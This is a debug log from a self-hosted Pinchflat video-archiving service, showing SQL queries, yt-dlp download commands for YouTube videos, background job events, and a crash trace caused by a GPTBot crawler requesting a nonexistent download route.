s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:49.500 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:49.500 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:49.501 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ylGaf3FZ4Fk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/55/15/55152a5f379a2e20f2b0d17f67ed956952c5b6746b70803cba80e648560629b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:53:51.845 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ylGaf3FZ4Fk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/55/15/55152a5f379a2e20f2b0d17f67ed956952c5b6746b70803cba80e648560629b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:53:51.845 [debug] Running yt-dlp command for action: download 22:53:51.845 [debug] QUERY OK source="settings" db=0.0ms idle=781.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:51.845 [debug] QUERY OK source="settings" db=0.0ms idle=782.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:51.845 [debug] QUERY OK source="settings" db=0.0ms idle=782.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:51.846 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ylGaf3FZ4Fk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8d/5b/8d5bb9dcf5e40c4a77a468766dc819e7adaa501d84312f16e0d788fb867bd99d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:53:58.973 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.694 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:28.975 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:58.976 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.696 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:03.174 [info] GET /sources/1/media/44/force_download 22:55:03.175 [debug] QUERY OK source="settings" db=0.2ms idle=1111.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:03.175 [debug] QUERY OK source="settings" db=0.0ms idle=1112.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:03.175 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:55:03.176 [error] #PID<0.5154.0> running PinchflatWeb.Endpoint (connection #PID<0.5153.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/44/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/44/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/44/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48480}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/44", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5154.0>, params: %{}, path_info: ["sources", "1", "media", "44", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/44"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/44/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDhyDSE0GdbV9cAAIoD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/44/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48480}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/44", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/44/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/44/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 48480}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/44", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5154.0>, params: %{}, path_info: ["sources", "1", "media", "44", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 22:55:15.588 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y58vTc9kB2U --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/c8/e3/c8e3f83dc406c739f0f33bfffb07cd6a162bbc58187f1c9736412cfee8e5b896.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:55:15.600 [debug] Running yt-dlp command for action: download_thumbnail 22:55:15.601 [debug] QUERY OK source="settings" db=0.1ms idle=1537.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:15.601 [debug] QUERY OK source="settings" db=0.0ms idle=1270.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:15.601 [debug] QUERY OK source="settings" db=0.0ms idle=537.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:15.601 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y58vTc9kB2U --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/110/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/5c/57/5c57bcf2dda4bc216cfd9ac08cc115b102dbdaa7daf30ab13aaba427935617b3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:55:18.019 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y58vTc9kB2U --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/110/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/5c/57/5c57bcf2dda4bc216cfd9ac08cc115b102dbdaa7daf30ab13aaba427935617b3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:55:18.019 [debug] QUERY OK db=0.0ms idle=956.2ms begin [] 22:55:18.028 [debug] QUERY OK source="media_items" db=8.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:55:15Z], "/downloads/Last Meals/2025-09-18 Marlon Wayans Eats His Last Meal/Marlon Wayans Eats His Last Meal [Y58vTc9kB2U].mp4", ~U[2026-03-28 02:55:18Z], 110] 22:55:18.028 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/110/metadata.json.gz", "/config/metadata/media_items/110/thumbnail.jpg", 110, ~U[2026-03-28 02:55:18Z], ~U[2026-03-28 02:55:18Z]] 22:55:18.028 [debug] QUERY OK db=0.0ms commit [] 22:55:18.032 [debug] QUERY OK source="media_items" db=3.7ms idle=965.7ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [351012771, ~U[2026-03-28 02:55:18Z], 110] 22:55:18.033 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:55:18.035 [info] {"args":{"id":110},"id":109,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":108123033,"event":"job:stop","queue_time":7444909352,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:55:18.036 [debug] QUERY OK source="tasks" db=0.4ms idle=699.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:55:18.036 [debug] QUERY OK source="tasks" db=0.6ms idle=972.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:55:18.036 [debug] QUERY OK source="media_items" db=0.1ms idle=7.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [111] 22:55:18.036 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [111] 22:55:18.042 [info] {"args":{"id":112},"id":111,"meta":{},"system_time":1774666518042180911,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:55:18.043 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [112] 22:55:18.044 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:55:18.044 [debug] QUERY OK source="tasks" db=1.4ms idle=6.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:55:18.044 [debug] QUERY OK source="tasks" db=1.6ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:55:18.044 [debug] QUERY OK source="sources" db=0.5ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:55:18.046 [debug] QUERY OK source="media_profiles" db=1.4ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:55:18.046 [debug] QUERY OK source="media_items" db=2.2ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [111, 112] 22:55:18.047 [debug] QUERY OK source="media_items" db=2.5ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [111, 112] 22:55:18.047 [debug] QUERY OK source="media_items" db=0.5ms queue=0.3ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [112] 22:55:18.048 [debug] QUERY OK source="media_metadata" db=0.0ms idle=3.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [112] 22:55:18.048 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:55:18.049 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:18.049 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:18.049 [debug] Running yt-dlp command for action: get_downloadable_status 22:55:18.050 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:18.050 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:18.050 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:55:18.050 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Bs4viHlAz3U --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/1b/4f1b45a19880c50294be8cc9a920a669c0e85c9c43b33d30c2a1b4b07697d8c7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:55:18.404 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 22:55:18.405 [debug] QUERY OK source="media_items" db=0.3ms idle=355.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' 